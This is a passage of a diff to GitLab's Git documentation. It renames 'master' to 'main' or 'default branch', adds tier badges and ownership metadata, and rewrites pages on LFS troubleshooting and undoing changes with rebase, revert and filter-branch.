+code, and use CI/CD to generate your application. Include packages in your app and output it to a variety of environments.
+
+- [Repositories](../user/project/repository/index.md)
+- [Merge requests](../user/project/merge_requests/index.md)
+- [CI/CD](../ci/README.md)
+- [Packages & Registries](../user/packages/index.md)
+- [Application infrastructure](../user/project/clusters/index.md)
diff --git a/doc/topics/git/bisect.md b/doc/topics/git/bisect.md
index 8af77031c93..e587a51ba17 100644
--- a/doc/topics/git/bisect.md
+++ b/doc/topics/git/bisect.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Bisect
+# Bisect **(FREE)**
- Find a commit that introduced a bug
- Works through a process of elimination
diff --git a/doc/topics/git/cherry_picking.md b/doc/topics/git/cherry_picking.md
index 5a0867371bb..4a875e25e1b 100644
--- a/doc/topics/git/cherry_picking.md
+++ b/doc/topics/git/cherry_picking.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
comments: false
---
-# Cherry Pick
+# Cherry pick **(FREE)**
Given an existing commit on one branch, apply the change to another branch.
diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md
index 8d18441aadd..ae1485741a5 100644
--- a/doc/topics/git/feature_branch_development.md
+++ b/doc/topics/git/feature_branch_development.md
@@ -9,7 +9,7 @@ type: how-tos
GitLab values encourage the use of [Minimal Viable Change (MVC)](https://about.gitlab.com/handbook/values/#minimal-viable-change-mvc).
However, viable changes are not always small. In such cases, it can help to set up a dedicated feature branch.
-People can contribute MRs to that feature branch, without affecting the functionality of the default (usually `master`) branch.
+People can contribute MRs to that feature branch, without affecting the functionality of the [default branch](../../user/project/repository/branches/default.md).
Once work on the development branch is complete, then the feature branch can be finally merged into the default branch.
@@ -19,14 +19,14 @@ GitLab frequently implements this process whenever there is an MVC that requires
This section describes the use case with GitLab [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/).
Dozens of GitLab team members contribute to each monthly release post.
-In such cases, it may be more efficient to submit an MR on the release post feature branch instead of master.
+In such cases, it may be more efficient to submit an MR on the release post feature branch instead of the [default branch](../../user/project/repository/branches/default.md).
In this case, the feature branch would be `release-X-Y`. Assuming the `release-X-Y` branch already exists, you can set up an MR against that branch, with the following steps:
-1. Navigate to the main (master) branch:
+1. Navigate to the [default branch](../../user/project/repository/branches/default.md) (here, `main`):
```shell
- git checkout master
+ git checkout main
```
1. Make sure you have the latest version of your repository:
@@ -101,8 +101,8 @@ we have selected `test-branch` as the source, and `release-13-0` as the target.
Request to merge test-branch into release-13-0
```
- That confirms you've set up the MR to merge into the specified branch, not master.
+ That confirms you've set up the MR to merge into the specified branch, not the [default branch](../../user/project/repository/branches/default.md).
1. Proceed with the change as you would with any other MR.
1. When your MR is approved, and an appropriate user merges that MR, you can rest assured that your work is incorporated directly into the feature branch.
-When the feature branch is ready, it can then be merged into master.
+When the feature branch is ready, it can then be merged into the [default branch](../../user/project/repository/branches/default.md).
diff --git a/doc/topics/git/feature_branching.md b/doc/topics/git/feature_branching.md
index f6233bddb18..f0ded5511ee 100644
--- a/doc/topics/git/feature_branching.md
+++ b/doc/topics/git/feature_branching.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Feature branching
+# Feature branching **(FREE)**
- Efficient parallel workflow for teams
- Develop each feature in a branch
diff --git a/doc/topics/git/getting_started.md b/doc/topics/git/getting_started.md
index 2c3d5fe15de..7e04eae622f 100644
--- a/doc/topics/git/getting_started.md
+++ b/doc/topics/git/getting_started.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Getting Started
+# Getting started **(FREE)**
## Instantiating Repositories
diff --git a/doc/topics/git/git_add.md b/doc/topics/git/git_add.md
index d136b9151bc..e15a1e9a60d 100644
--- a/doc/topics/git/git_add.md
+++ b/doc/topics/git/git_add.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Git Add
+# Git Add **(FREE)**
Adds content to the index or staging area.
diff --git a/doc/topics/git/git_log.md b/doc/topics/git/git_log.md
index ae4ae69ce76..3988d7f7ac9 100644
--- a/doc/topics/git/git_log.md
+++ b/doc/topics/git/git_log.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Git Log
+# Git Log **(FREE)**
Git log lists commit history. It allows searching and filtering.
diff --git a/doc/topics/git/git_rebase.md b/doc/topics/git/git_rebase.md
index 78303d24a20..8844d362c10 100644
--- a/doc/topics/git/git_rebase.md
+++ b/doc/topics/git/git_rebase.md
@@ -32,7 +32,7 @@ consider pulling it instead (`git pull origin master`). It has a similar
effect without compromising the work of your contributors.
It's safer to back up your branch before rebasing to make sure you don't lose
-any changes. For example, consider a [feature branch](../../gitlab-basics/start-using-git.md#branching)
+any changes. For example, consider a [feature branch](../../gitlab-basics/start-using-git.md#branches)
called `my-feature-branch`:
1. Open your feature branch in the terminal:
@@ -80,12 +80,13 @@ ensure that the changes you're adding to the codebase do not break any
existing changes added to the target branch _after_ you created your feature
branch.
-For example, to update your branch `my-feature-branch` with `master`:
+For example, to update your branch `my-feature-branch` with your
+[default branch](../../user/project/repository/branches/default.md) (here, using `main`):
-1. Fetch the latest changes from `master`:
+1. Fetch the latest changes from `main`:
```shell
- git fetch origin master
+ git fetch origin main
```
1. Checkout your feature branch:
@@ -94,24 +95,24 @@ For example, to update your branch `my-feature-branch` with `master`:
git checkout my-feature-branch
```
-1. Rebase it against `master`:
+1. Rebase it against `main`:
```shell
- git rebase origin/master
+ git rebase origin/main
```
1. [Force-push](#force-push) to your branch.
When you rebase:
-1. Git imports all the commits submitted to `master` _after_ the
+1. Git imports all the commits submitted to `main` _after_ the
moment you created your feature branch until the present moment.
1. Git puts the commits you have in your feature branch on top of all
- the commits imported from `master`:
+ the commits imported from `main`:
![Git rebase illustration](img/git_rebase_v13_5.png)
-You can replace `master` with any other branch you want to rebase against, for
+You can replace `main` with any other branch you want to rebase against, for
example, `release-10-3`. You can also replace `origin` with other remote
repositories, for example, `upstream`. To check what remotes you have linked to your local
repository, you can run `git remote -v`.
diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md
index 0851d3f6b50..dfb175cbb82 100644
--- a/doc/topics/git/lfs/index.md
+++ b/doc/topics/git/lfs/index.md
@@ -114,11 +114,9 @@ See the documentation on [File Locking](../../../user/project/file_lock.md).
## LFS objects in project archives
> - Support for including Git LFS blobs inside [project source downloads](../../../user/project/repository/index.md) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5.
-> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/268409) in GitLab 13.6.
> - Enabled on GitLab.com.
> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-objects-in-project-archives).
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -134,32 +132,40 @@ oid sha256:3ea5dd307f195f449f0e08234183b82e92c3d5f4cff11c2a6bb014f9e0de12aa
size 177735
```
-Starting with GitLab 13.5, these pointers are converted to the uploaded
-LFS object if the `include_lfs_blobs_in_archive` feature flag is
-enabled.
+In GitLab version 13.5 and later, these pointers are converted to the uploaded
+LFS object.
Technical details about how this works can be found in the [development documentation for LFS](../../../development/lfs.md#including-lfs-blobs-in-project-archives).
-### Enable or disable LFS objects in project archives
+## Troubleshooting
-_LFS objects in project archives_ is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
+### Encountered `n` file(s) that should have been pointers, but weren't
-To enable it:
+This error indicates the file (or files) are expected to be tracked by LFS, but for
+some reason the repository is not tracking them as LFS. This issue can be one
+potential reason for this error:
+[Files not tracked with LFS when uploaded through the web interface](https://gitlab.com/gitlab-org/gitlab/-/issues/326342#note_586820485)
-```ruby
-Feature.enable(:include_lfs_blobs_in_archive)
-```
+To resolve the problem, migrate the affected file (or files) and push back to the repository:
-To disable it:
+1. Migrate the file to LFS:
-```ruby
-Feature.disable(:include_lfs_blobs_in_archive)
-```
+ ```shell
+ git lfs migrate import --yes --no-rewrite "<your-file>"
+ ```
-## Troubleshooting
+1. Push back to your repository:
+
+ ```shell
+ git push
+ ```
+
+1. (Optional) Clean up your `.git` folder:
+
+ ```shell
+ git reflog expire --expire-unreachable=now --all
+ git gc --prune=now
+ ```
### error: Repository or object not found
diff --git a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md
index 741b2a78b85..d7fb8a37b9c 100644
--- a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md
+++ b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-07-22'
---
This document was moved to [another location](index.md).
diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md
index 3f8e0575add..d1231257f38 100644
--- a/doc/topics/git/lfs/migrate_to_git_lfs.md
+++ b/doc/topics/git/lfs/migrate_to_git_lfs.md
@@ -41,7 +41,7 @@ Before beginning, make sure:
To follow this tutorial, you need:
-- Maintainer permissions to the existing Git repository
+- The [Maintainer role](../../../user/permissions.md) for the existing Git repository
you'd like to migrate to LFS with access through the command line.
- [Git](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git)
and [Java Runtime Environment](https://www.java.com/en/download/manual.jsp)
@@ -137,8 +137,8 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs-
# Change into the upstream repo directory:
cd test-git-lfs-repo-migration
- # You may need to reset your local copy with upstream's `master` after force-pushing from the mirror:
- git reset --hard origin/master
+ # You may need to reset your local copy with upstream's `main` after force-pushing from the mirror:
+ git reset --hard origin/main
# Track the files with LFS:
git lfs track "*.gif" "*.png" "*.jpg" "*.psd" "*.mp4" "img/"
diff --git a/doc/topics/git/merge_conflicts.md b/doc/topics/git/merge_conflicts.md
index 66771559298..bf69190030c 100644
--- a/doc/topics/git/merge_conflicts.md
+++ b/doc/topics/git/merge_conflicts.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Merge conflicts
+# Merge conflicts **(FREE)**
- Happen often
- Learning to fix conflicts is hard
diff --git a/doc/topics/git/merge_requests.md b/doc/topics/git/merge_requests.md
index 751bf8195d0..d889bc8ffe5 100644
--- a/doc/topics/git/merge_requests.md
+++ b/doc/topics/git/merge_requests.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../user/project/merge_requests/index.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../user/project/merge_requests/index.md).
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png b/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png
index 6506de209f4..c1a67e0b566 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png
Binary files differ
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png b/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png
index 040f8118d72..0732a73278b 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png
Binary files differ
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
index b151ddfff71..6de62897041 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
@@ -36,7 +36,7 @@ You can undo changes at any point in this workflow:
- [When you're working locally](#undo-local-changes) and haven't yet pushed to a remote repository.
- When you have already pushed to a remote repository and you want to:
- [Keep the history intact](#undo-remote-changes-without-changing-history) (preferred).
- - [Change the history](#undo-remote-changes-with-modifying-history) (requires
+ - [Change the history](#undo-remote-changes-while-changing-history) (requires
coordination with team and force pushes).
## Undo local changes
@@ -139,6 +139,12 @@ If you want to change to another branch, you can use [`git stash`](https://www.g
1. Commit, push, and test.
1. Return to the branch where you want to resume your changes.
1. Use `git stash list` to list all previously stashed commits.
+
+ ```shell
+ stash@{0}: WIP on submit: 6ebd0e2... Update git-stash documentation
+ stash@{1}: On master: 9cc0589... Add git-stash
+ ```
+
1. Run a version of `git stash`:
- Use `git stash pop` to redo previously stashed changes and remove them from stashed list.
@@ -146,7 +152,7 @@ If you want to change to another branch, you can use [`git stash`](https://www.g
## Undo committed local changes
-When you commit to your local repository (`git commit`), the version control system records
+When you commit to your local repository (`git commit`), Git records
your changes. Because you did not push to a remote repository yet, your changes are
not public (or shared with other developers). At this point, you can undo your changes.
@@ -212,64 +218,53 @@ which clashes with what other developers have locally.
### Undo staged local changes with history modification
-You can rewrite history in Git, but you should avoid it, because it can cause problems
-when multiple developers are contributing to the same codebase.
-
-There is one command for history modification and that is `git rebase`. Command
-provides interactive mode (`-i` flag) which enables you to:
+The following tasks rewrite Git history.
-- **reword** commit messages (there is also `git commit --amend` for editing
- last commit message).
-- **edit** the commit content (changes introduced by commit) and message.
-- **squash** multiple commits into a single one, and have a custom or aggregated
- commit message.
-- **drop** commits - delete them.
-- and few more options.
+#### Delete a specific commit
-Let us check few examples. Again there are commits `A-B-C-D` where you want to
-delete commit `B`.
+You can delete a specific commit. For example, if you have
+commits `A-B-C-D` and you want to delete commit `B`.
-- Rebase the range from current commit D to A:
+1. Rebase the range from current commit `D` to `B`:
- ```shell
- git rebase -i A
- ```
+ ```shell
+ git rebase -i A
+ ```
-- Command opens your favorite editor where you write `drop` in front of commit
- `B`, but you leave default `pick` with all other commits. Save and exit the
- editor to perform a rebase. Remember: if you want to cancel delete whole
- file content before saving and exiting the editor
+ A list of commits is displayed in your editor.
-In case you want to modify something introduced in commit `B`.
+1. In front of commit `B`, replace `pick` with `drop`.
+1. Leave the default, `pick`, for all other commits.
+1. Save and exit the editor.
-- Rebase the range from current commit D to A:
+#### Modify a specific commit
- ```shell
- git rebase -i A
- ```
+You can modify a specific commit. For example, if you have
+commits `A-B-C-D` and you want to modify something introduced in commit `B`.
-- Command opens your favorite text editor where you write `edit` in front of commit
- `B`, but leave default `pick` with all other commits. Save and exit the editor to
- perform a rebase.
+1. Rebase the range from current commit `D` to `B`:
-- Now do your edits and commit changes:
+ ```shell
+ git rebase -i A
+ ```
- ```shell
- git commit -a
- ```
+ A list of commits is displayed in your editor.
+
+1. In front of commit `B`, replace `pick` with `edit`.
+1. Leave the default, `pick`, for all other commits.
+1. Save and exit the editor.
+1. Open the file in your editor, make your edits, and commit the changes:
-You can find some more examples in the section explaining
-[how to modify history](#how-modifying-history-is-done).
+ ```shell
+ git commit -a
+ ```
### Redoing the undo
-Sometimes you realize that the changes you undid were useful and you want them
-back. Well because of first paragraph you are in luck. Command `git reflog`
-enables you to *recall* detached local commits by referencing or applying them
-via commit ID. Although, do not expect to see really old commits in reflog, because
-Git regularly [cleans the commits which are *unreachable* by branches or tags](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery).
+You can recall previous local commits. However, not all previous commits are available, because
+Git regularly [cleans the commits that are unreachable by branches or tags](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery).
-To view repository history and to track older commits you can use below command:
+To view repository history and track prior commits, run `git reflog show`. For example:
```shell
$ git reflog show
@@ -287,89 +282,64 @@ eb37e74 HEAD@{6}: rebase -i (pick): Commit C
6e43d59 HEAD@{16}: commit: Commit B
```
-Output of command shows repository history. In first column there is commit ID,
-in following column, number next to `HEAD` indicates how many commits ago something
-was made, after that indicator of action that was made (commit, rebase, merge, ...)
-and then on end description of that action.
+This output shows the repository history, including:
-## Undo remote changes without changing history
+- The commit SHA.
+- How many `HEAD`-changing actions ago the commit was made (`HEAD@{12}` was 12 `HEAD`-changing actions ago).
+- The action that was taken, for example: commit, rebase, merge.
+- A description of the action that changed `HEAD`.
-This topic is roughly same as modifying committed local changes without modifying
-history. **It should be the preferred way of undoing changes on any remote repository
-or public branch.** Keep in mind that branching is the best solution when you want
-to retain the history of faulty development, yet start anew from certain point.
+## Undo remote changes without changing history
-Branching
-enables you to include the existing changes in new development (by merging) and
-it also provides a clear timeline and development structure.
+To undo changes in the remote repository, you can create a new commit with the changes you
+want to undo. You should follow this process, which preserves the history and
+provides a clear timeline and development structure. However, you
+only need this procedure if your work was merged into a branch that
+other developers use as the base for their work.
![Use revert to keep branch flowing](img/revert.png)
-If you want to revert changes introduced in certain `commit-id`, you can
-revert that `commit-id` (swap additions and deletions) in newly created commit:
-You can do this with
+To revert changes introduced in a specific commit `B`:
```shell
-git revert commit-id
+git revert B
```
-or creating a new branch:
-
-```shell
-git checkout commit-id
-git checkout -b new-path-of-feature
-```
+## Undo remote changes while changing history
-## Undo remote changes with modifying history
+You can undo remote changes and change history.
-This is useful when you want to *hide* certain things - like secret keys,
-passwords, and SSH keys. It is and should not be used to hide mistakes, as
-it makes it harder to debug in case there are some other bugs. The main
-reason for this is that you loose the real development progress. Keep in
-mind that, even with modified history, commits are just detached and can still be
-accessed through commit ID - at least until all repositories perform
-the automated cleanup of detached commits.
+Even with an updated history, old commits can still be
+accessed by commit SHA. This is the case at least until all the automated cleanup
+of detached commits is performed, or a cleanup is run manually. Even the cleanup might not remove old commits if there are still refs pointing to them.
![Modifying history causes problems on remote branch](img/rebase_reset.png)
-### Where modifying history is generally acceptable
+### When changing history is acceptable
-Modified history breaks the development chain of other developers, as changed
-history does not have matching commit IDs. For that reason it should not be
-used on any public branch or on branch that might be used by other developers.
-When contributing to big open source repositories (for example, [GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md#contribution-acceptance-criteria)
-itself), it is acceptable to squash commits into a single one, to present a
-nicer history of your contribution.
+You should not change the history when you're working in a public branch
+or a branch that might be used by other developers.
-Keep in mind that this also removes the comments attached to certain commits
-in merge requests, so if you need to retain traceability in GitLab, then
-modifying history is not acceptable.
+When you contribute to large open source repositories, like [GitLab](https://gitlab.com/gitlab-org/gitlab),
+you can squash your commits into a single one.
-A feature branch of a merge request is a public branch and might be used by
-other developers, but project process and rules might allow or require
-you to use `git rebase` (command that changes history) to reduce number of
-displayed commits on target branch after reviews are done (for example
-GitLab). There is a `git merge --squash` command which does exactly that
-(squashes commits on feature-branch to a single commit on target branch
-at merge).
+To squash commits on a feature branch to a single commit on a target branch
+at merge, use `git merge --squash`.
NOTE:
-Never modify the commit history of `master` or shared branch.
+Never modify the commit history of your [default branch](../../../user/project/repository/branches/default.md) or shared branch.
-### How modifying history is done
+### How to change history
-After you know what you want to modify (how far in history or how which range of
-old commits), use `git rebase -i commit-id`. This command displays all the commits from
-current version to chosen commit ID and allow modification, squashing, deletion
-of that commits.
+A feature branch of a merge request is a public branch and might be used by
+other developers. However, the project rules might require
+you to use `git rebase` to reduce the number of
+displayed commits on target branch after reviews are done.
-```shell
-$ git rebase -i commit1-id..commit3-id
-pick <commit1-id> <commit1-commit-message>
-pick <commit2-id> <commit2-commit-message>
-pick <commit3-id> <commit3-commit-message>
+You can modify history by using `git rebase -i`. Use this command to modify, squash,
+and delete commits.
-# Rebase commit1-id..commit3-id onto <commit4-id> (3 command(s))
+```shell
#
# Commands:
# p, pick = use commit
@@ -382,50 +352,48 @@ pick <commit3-id> <commit3-commit-message>
#
# These lines can be re-ordered; they are executed from top to bottom.
#
-# If you remove a line here THAT COMMIT WILL BE LOST.
+# If you remove a line THAT COMMIT WILL BE LOST.
#
# However, if you remove everything, the rebase will be aborted.
#
-# Note that empty commits are commented out
+# Empty commits are commented out
```
NOTE:
-The comment from the output clearly states that, if
-you decide to abort, don't just close your editor (as that
-modifies history), but remove all uncommented lines and save.
+If you decide to stop a rebase, do not close your editor.
+Instead, remove all uncommented lines and save.
-Use `git rebase` carefully on
-shared and remote branches, but rest assured: nothing is broken until
-you push back to the remote repository (so you can freely explore the
-different outcomes locally).
+Use `git rebase` carefully on shared and remote branches.
+Experiment locally before you push to the remote repository.
```shell
# Modify history from commit-id to HEAD (current commit)
git rebase -i commit-id
```
-### Deleting sensitive information from commits
+### Delete sensitive information from commits
+
+You can use Git to delete sensitive information from your past commits. However,
+history is modified in the process.
+
+To rewrite history with
+[certain filters](https://git-scm.com/docs/git-filter-branch#_options),
+run `git filter-branch`.
-Git also enables you to delete sensitive information from your past commits and
-it does modify history in the progress. That is why we have included it in this
-section and not as a standalone topic. To do so, you should run the
-`git filter-branch`, which enables you to rewrite history with
-[certain filters](https://git-scm.com/docs/git-filter-branch#_options).
-This command uses rebase to modify history and if you want to remove certain
-file from history altogether use:
+To remove a file from the history altogether use:
```shell
git filter-branch --tree-filter 'rm filename' HEAD
```
-Because `git filter-branch` command might be slow on big repositories, there are
-tools that can use some of Git specifics to enable faster execution of common
-tasks (which is exactly what removing sensitive information file is about).
+The `git filter-branch` command might be slow on large repositories.
+Tools are available to execute Git commands more quickly.
An alternative is the open source community-maintained tool [BFG](https://rtyley.github.io/bfg-repo-cleaner/).
-Keep in mind that these tools are faster because they do not provide the same
+These tools are faster because they do not provide the same
feature set as `git filter-branch` does, but focus on specific use cases.
-Refer [Reduce repository size](../../../user/project/repository/reducing_the_repo_size_using_git.md) page to know more about purging files from repository history & GitLab storage.
+Refer to [Reduce repository size](../../../user/project/repository/reducing_the_repo_size_using_git.md) to
+learn more about purging files from repository history and GitLab storage.
<!-- ## Troubleshooting
diff --git a/doc/topics/git/rollback_commits.md b/doc/topics/git/rollback_commits.md
index 34c2d9687bb..478dce179d2 100644
--- a/doc/topics/git/rollback_commits.md
+++ b/doc/topics/git/rollback_commits.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Rollback Commits
+# Rollback commits **(FREE)**
## Undo Commits
diff --git a/doc/topics/git/stash.md b/doc/topics/git/stash.md
index 051103e5f4b..d321795e034 100644
--- a/doc/topics/git/stash.md
+++ b/doc/topics/git/stash.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Git Stash
+# Git Stash **(FREE)**
We use `git stash` to store our changes when they are not ready to be committed
and we need to change to a different branch.
diff --git a/doc/topics/git/subtree.md b/doc/topics/git/subtree.md
index 54461915a05..0bf89668405 100644
--- a/doc/topics/git/subtree.md
+++ b/doc/topics/git/subtree.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Subtree
+# Subtree **(FREE)**
- Used when there are nested repositories.
- Not recommended when the amount of dependencies is too large.
diff --git a/doc/topics/git/tags.md b/doc/topics/git/tags.md
index 70580ecf778..6e0622273bb 100644
--- a/doc/topics/git/tags.md
+++ b/doc/topics/git/tags.md
@@ -4,7 +4,7 @@ group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Tags
+# Tags **(FREE)**
Tags are useful for marking certain deployments and releases for later
reference. Git supports two types of tags:
diff --git a/doc/topics/git/unstage.md b/doc/topics/git/unstage.md
index 30d26854135..b5f7c01de24 100644
--- a/doc/topics/git/unstage.md
+++ b/doc/topics/git/unstage.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
-# Unstage
+# Unstage **(FREE)**
- To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This unstages the file but maintain the modifications.
diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md
index 38b44d97583..61f170d934a 100644
--- a/doc/topics/git/useful_git_commands.md
+++ b/doc/topics/git/useful_git_commands.md
@@ -180,12 +180,13 @@ Git includes a complete set of [traces for debugging Git commands](https://git-s
## Rebasing
-### Rebase your branch onto master
+### Rebase your branch onto the default
-The `-i` flag stands for 'interactive':
+The `-i` flag stands for 'interactive'. Replace `<default-branch>` with the name
+of your [default branch](../../user/project/repository/branches/default.md):
```shell
-git rebase -i master
+git rebase -i <default-branch>
```
### Continue the rebase if paused
diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md
index c238951be51..df5029bb0d1 100644
--- a/doc/topics/gitlab_flow.md
+++ b/doc/topics/gitlab_flow.md
@@ -45,13 +45,13 @@ For a video introduction of how this works in GitLab, see [GitLab Flow](https://
<!-- vale gitlab.Spelling = YES -->
Git flow was one of the first proposals to use Git branches, and it has received a lot of attention.
-It suggests a `master` branch and a separate `develop` branch, as well as supporting branches for features, releases, and hotfixes.
-The development happens on the `develop` branch, moves to a release branch, and is finally merged into the `master` branch.
+It suggests a `main` branch and a separate `develop` branch, as well as supporting branches for features, releases, and hotfixes.
+The development happens on the `develop` branch, moves to a release branch, and is finally merged into the `main` branch.
Git flow is a well-defined standard, but its complexity introduces two problems.
-The first problem is that developers must use the `develop` branch and not `master`. `master` is reserved for code that is released to production.
-It is a convention to call your default branch `master` and to mostly branch from and merge to this.
-Because most tools automatically use the `master` branch as the default, it is annoying to have to switch to another branch.
+The first problem is that developers must use the `develop` branch and not `main`. `main` is reserved for code that is released to production.
+It is a convention to call your default branch `main` and to mostly branch from and merge to this.
+Because most tools automatically use the `main` branch as the default, it is annoying to have to switch to another branch.
The second problem of Git flow is the complexity introduced by the hotfix and release branches.
These branches can be a good idea for some organizations but are overkill for the vast majority of them.
@@ -59,7 +59,7 @@ Nowadays, most organizations practice continuous delivery, which means that your
Continuous delivery removes the need for hotfix and release branches, including all the ceremony they introduce.
An example of this ceremony is the merging back of release branches.
Though specialized tools do exist to solve this, they require documentation and add complexity.
-Frequently, developers make mistakes such as merging changes only into `master` and not into the `develop` branch.
+Frequently, developers make mistakes such as merging changes only into `main` and not into the `develop` branch.
The reason for these errors is that Git flow is too complicated for most use cases.
For example, many projects do releases but don't need to do hotfixes.
@@ -68,10 +68,10 @@ For example, many projects do releases but don't need to do hotfixes.
![Branch with feature branches merged in](img/gitlab_flow_github_flow.png)
In reaction to Git flow, GitHub created a simpler alternative.
-[GitHub flow](https://guides.github.com/introduction/flow/index.html) has only feature branches and a `master` branch.
+[GitHub flow](https://guides.github.com/introduction/flow/index.html) has only feature branches and a `main` branch.
This flow is clean and straightforward, and many organizations have adopted it with great success.
Atlassian recommends [a similar strategy](https://www.atlassian.com/blog/git/simple-git-workflow-is-simple), although they rebase feature branches.
-Merging everything into the `master` branch and frequently deploying means you minimize the amount of unreleased code. This approach is in line with lean and continuous delivery best practices.
+Merging everything into the `main` branch and frequently deploying means you minimize the amount of unreleased code. This approach is in line with lean and continuous delivery best practices.
However, this flow still leaves a lot of questions unanswered regarding deployments, environments, releases, and integrations with issues.
With GitLab flow, we offer additional guidance for these questions.
@@ -88,7 +88,7 @@ While this is possible in some cases, such as SaaS applications, there are some
operations team is at full capacity - but you also merge code at other times.
In these cases, you can make a production branch that reflects the deployed code.
-You can deploy a new version by merging `master` into the production branch.
+You can deploy a new version by merging `main` into the production branch.
If you need to know what code is in production, you can check out the production branch to see.
The approximate time of deployment is visible as the merge commit in the version control system.
This time is pretty accurate if you automatically deploy your production branch.
@@ -99,16 +99,16 @@ This flow prevents the overhead of releasing, tagging, and merging that happens
![Multiple branches with the code cascading from one to another](img/gitlab_flow_environment_branches.png)
-It might be a good idea to have an environment that is automatically updated to the `master` branch.
+It might be a good idea to have an environment that is automatically updated to the `main` branch.
Only, in this case, the name of this environment might differ from the branch name.
Suppose you have a staging environment, a pre-production environment, and a production environment.
-In this case, deploy the `master` branch to staging.
-To deploy to pre-production, create a merge request from the `master` branch to the pre-production branch.
+In this case, deploy the `main` branch to staging.
+To deploy to pre-production, create a merge request from the `main` branch to the pre-production branch.
Go live by merging the pre-production branch into the production branch.
This workflow, where commits only flow downstream, ensures that everything is tested in all environments.
-If you need to cherry-pick a commit with a hotfix, it is common to develop it on a feature branch and merge it into `master` with a merge request.
+If you need to cherry-pick a commit with a hotfix, it is common to develop it on a feature branch and merge it into `main` with a merge request.
In this case, do not delete the feature branch yet.
-If `master` passes automatic testing, you then merge the feature branch into the other branches.
+If `main` passes automatic testing, you then merge the feature branch into the other branches.
